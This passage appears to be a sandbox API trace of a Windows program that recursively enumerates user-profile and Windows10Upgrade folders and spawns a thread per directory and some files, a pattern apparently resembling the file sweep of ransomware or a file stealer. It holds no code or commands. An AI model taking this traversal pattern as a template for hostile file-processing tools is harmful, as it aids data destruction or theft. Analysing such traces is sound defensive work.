	[0073.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x22) returned 0x2d77e10
	[0073.235] wcscpy (in: _Dest=0x2d77e10, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users"
	[0073.235] wcscat (in: _Dest=0x2d77e10, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\"
	[0073.235] wcscat (in: _Dest=0x2d77e10, _Source="Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0073.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548
	[0073.236] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1
	[0073.236] wcscmp (_String1="Default User", _String2=".") returned 1
	[0073.236] wcscmp (_String1="Default User", _String2="..") returned 1
	[0073.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2c) returned 0x2d7bea8
	[0073.236] wcscpy (in: _Dest=0x2d7bea8, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users"
	[0073.236] wcscat (in: _Dest=0x2d7bea8, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\"
	[0073.236] wcscat (in: _Dest=0x2d7bea8, _Source="Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User"
	[0073.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7bea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c
	[0073.237] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default.migrated", cAlternateFileName="DEFAUL~1.MIG")) returned 1
	[0073.237] wcscmp (_String1="Default.migrated", _String2=".") returned 1
	[0073.237] wcscmp (_String1="Default.migrated", _String2="..") returned 1
	[0073.237] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70840
	[0073.237] wcscpy (in: _Dest=0x2d70840, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users"
	[0073.237] wcscat (in: _Dest=0x2d70840, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\"
	[0073.237] wcscat (in: _Dest=0x2d70840, _Source="Default.migrated" | out: _Dest="C:\\Users\\Default.migrated") returned="C:\\Users\\Default.migrated"
	[0073.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550
	[0073.238] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9bc987, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0073.238] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0073.238] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0073.238] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 1
	[0073.238] wcscmp (_String1="FD1HVy", _String2=".") returned 1
	[0073.238] wcscmp (_String1="FD1HVy", _String2="..") returned 1
	[0073.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0073.238] wcscpy (in: _Dest=0x2d76f70, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users"
	[0073.238] wcscat (in: _Dest=0x2d76f70, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\"
	[0073.238] wcscat (in: _Dest=0x2d76f70, _Source="FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0073.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d76f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554
	[0073.238] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1
	[0073.238] wcscmp (_String1="Public", _String2=".") returned 1
	[0073.239] wcscmp (_String1="Public", _String2="..") returned 1
	[0073.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0073.239] wcscpy (in: _Dest=0x2d77010, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users"
	[0073.239] wcscat (in: _Dest=0x2d77010, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\"
	[0073.239] wcscat (in: _Dest=0x2d77010, _Source="Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0073.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558
	[0073.239] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0
	[0073.239] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0073.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79be0) returned 1
	[0073.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79a80) returned 1

Thread:
	id = 37
	os_tid = 0xec4

	[0073.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2c) returned 0x2d7be00
	[0073.240] wcscpy (in: _Dest=0x2d7be00, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade"
	[0073.240] wcscat (in: _Dest=0x2d7be00, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\"
	[0073.240] wcscat (in: _Dest=0x2d7be00, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\*") returned="C:\\Windows10Upgrade\\*"
	[0073.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.240] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0073.242] wcscmp (_String1=".", _String2=".") returned 0
	[0073.242] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.243] wcscmp (_String1="..", _String2=".") returned 1
	[0073.243] wcscmp (_String1="..", _String2="..") returned 0
	[0073.243] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea355be9, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1
	[0073.243] wcscmp (_String1="2052", _String2=".") returned 1
	[0073.243] wcscmp (_String1="2052", _String2="..") returned 1
	[0073.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d708c0
	[0073.243] wcscpy (in: _Dest=0x2d708c0, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade"
	[0073.243] wcscat (in: _Dest=0x2d708c0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\"
	[0073.243] wcscat (in: _Dest=0x2d708c0, _Source="2052" | out: _Dest="C:\\Windows10Upgrade\\2052") returned="C:\\Windows10Upgrade\\2052"
	[0073.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d708c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c
	[0073.244] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3659ec, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3659ec, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x704c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appraiserxp.dll", cAlternateFileName="APPRAI~1.DLL")) returned 1
	[0073.244] wcscmp (_String1="appraiserxp.dll", _String2=".") returned 1
	[0073.244] wcscmp (_String1="appraiserxp.dll", _String2="..") returned 1
	[0073.244] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea36cf08, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea36cf08, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootsect.exe", cAlternateFileName="")) returned 1
	[0073.244] wcscmp (_String1="bootsect.exe", _String2=".") returned 1
	[0073.244] wcscmp (_String1="bootsect.exe", _String2="..") returned 1
	[0073.244] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea350dad, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea350dad, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xb08c3ee, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration.ini", cAlternateFileName="CONFIG~1.INI")) returned 1
	[0073.244] wcscmp (_String1="Configuration.ini", _String2=".") returned 1
	[0073.244] wcscmp (_String1="Configuration.ini", _String2="..") returned 1
	[0073.244] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d53cd8
	[0073.244] wcscpy (in: _Dest=0x2d53cd8, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade"
	[0073.244] wcscat (in: _Dest=0x2d53cd8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\"
	[0073.244] wcscat (in: _Dest=0x2d53cd8, _Source="Configuration.ini" | out: _Dest="C:\\Windows10Upgrade\\Configuration.ini") returned="C:\\Windows10Upgrade\\Configuration.ini"
	[0073.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d53cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560
	[0073.245] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea36e29e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea36e29e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xf0c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="cosquery.dll", cAlternateFileName="")) returned 1
	[0073.245] wcscmp (_String1="cosquery.dll", _String2=".") returned 1
	[0073.245] wcscmp (_String1="cosquery.dll", _String2="..") returned 1
	[0073.245] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea370998, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea370998, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x508c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DevInv.dll", cAlternateFileName="")) returned 1
	[0073.245] wcscmp (_String1="DevInv.dll", _String2=".") returned 1
	[0073.245] wcscmp (_String1="DevInv.dll", _String2="..") returned 1
	[0073.245] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea377ed3, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dll1", cAlternateFileName="")) returned 1
	[0073.245] wcscmp (_String1="dll1", _String2=".") returned 1
	[0073.245] wcscmp (_String1="dll1", _String2="..") returned 1
	[0073.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70880
	[0073.245] wcscpy (in: _Dest=0x2d70880, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade"
	[0073.245] wcscat (in: _Dest=0x2d70880, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\"
	[0073.245] wcscat (in: _Dest=0x2d70880, _Source="dll1" | out: _Dest="C:\\Windows10Upgrade\\dll1") returned="C:\\Windows10Upgrade\\dll1"
	[0073.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564
	[0073.246] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37cd05, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dll2", cAlternateFileName="")) returned 1
	[0073.246] wcscmp (_String1="dll2", _String2=".") returned 1
	[0073.246] wcscmp (_String1="dll2", _String2="..") returned 1
	[0073.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70a40
	[0073.246] wcscpy (in: _Dest=0x2d70a40, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade"
	[0073.246] wcscat (in: _Dest=0x2d70a40, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\"
	[0073.246] wcscat (in: _Dest=0x2d70a40, _Source="dll2" | out: _Dest="C:\\Windows10Upgrade\\dll2") returned="C:\\Windows10Upgrade\\dll2"
	[0073.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568
	[0073.246] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea380798, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea380798, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x326c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="downloader.dll", cAlternateFileName="DOWNLO~1.DLL")) returned 1
	[0073.246] wcscmp (_String1="downloader.dll", _String2=".") returned 1
	[0073.246] wcscmp (_String1="downloader.dll", _String2="..") returned 1
	[0073.246] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea381b2a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea381b2a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x9d2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1
	[0073.247] wcscmp (_String1="DW20.EXE", _String2=".") returned 1
	[0073.247] wcscmp (_String1="DW20.EXE", _String2="..") returned 1
	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea385605, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea385605, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xc2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWDCW20.DLL", cAlternateFileName="")) returned 1
	[0073.247] wcscmp (_String1="DWDCW20.DLL", _String2=".") returned 1
	[0073.247] wcscmp (_String1="DWDCW20.DLL", _String2="..") returned 1
	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea386943, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea386943, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xb2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1
	[0073.247] wcscmp (_String1="DWTRIG20.EXE", _String2=".") returned 1
	[0073.247] wcscmp (_String1="DWTRIG20.EXE", _String2="..") returned 1
	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea387cd0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea387cd0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2652, dwReserved0=0x0, dwReserved1=0x0, cFileName="EnableWiFiTracing.cmd", cAlternateFileName="ENABLE~1.CMD")) returned 1
	[0073.247] wcscmp (_String1="EnableWiFiTracing.cmd", _String2=".") returned 1
	[0073.247] wcscmp (_String1="EnableWiFiTracing.cmd", _String2="..") returned 1
	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea389060, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea389060, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x10cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESDHelper.dll", cAlternateFileName="ESDHEL~1.DLL")) returned 1
	[0073.247] wcscmp (_String1="ESDHelper.dll", _String2=".") returned 1
	[0073.247] wcscmp (_String1="ESDHelper.dll", _String2="..") returned 1
	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea38cadd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea38cadd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x9ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="esdstub.dll", cAlternateFileName="")) returned 1
	[0073.247] wcscmp (_String1="esdstub.dll", _String2=".") returned 1
	[0073.247] wcscmp (_String1="esdstub.dll", _String2="..") returned 1
	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea38de7f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea38de7f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x89ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GatherOSState.EXE", cAlternateFileName="GATHER~1.EXE")) returned 1
	[0073.247] wcscmp (_String1="GatherOSState.EXE", _String2=".") returned 1
	[0073.247] wcscmp (_String1="GatherOSState.EXE", _String2="..") returned 1
	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39058e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39058e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x83cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentDeploy.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0073.247] wcscmp (_String1="GetCurrentDeploy.dll", _String2=".") returned 1
	[0073.247] wcscmp (_String1="GetCurrentDeploy.dll", _String2="..") returned 1
	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea392ca4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea392ca4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~2.DLL")) returned 1
	[0073.247] wcscmp (_String1="GetCurrentOOBE.dll", _String2=".") returned 1
	[0073.247] wcscmp (_String1="GetCurrentOOBE.dll", _String2="..") returned 1
	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39539e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39539e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x11ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.EXE", cAlternateFileName="GETCUR~1.EXE")) returned 1
	[0073.247] wcscmp (_String1="GetCurrentRollback.EXE", _String2=".") returned 1
	[0073.247] wcscmp (_String1="GetCurrentRollback.EXE", _String2="..") returned 1
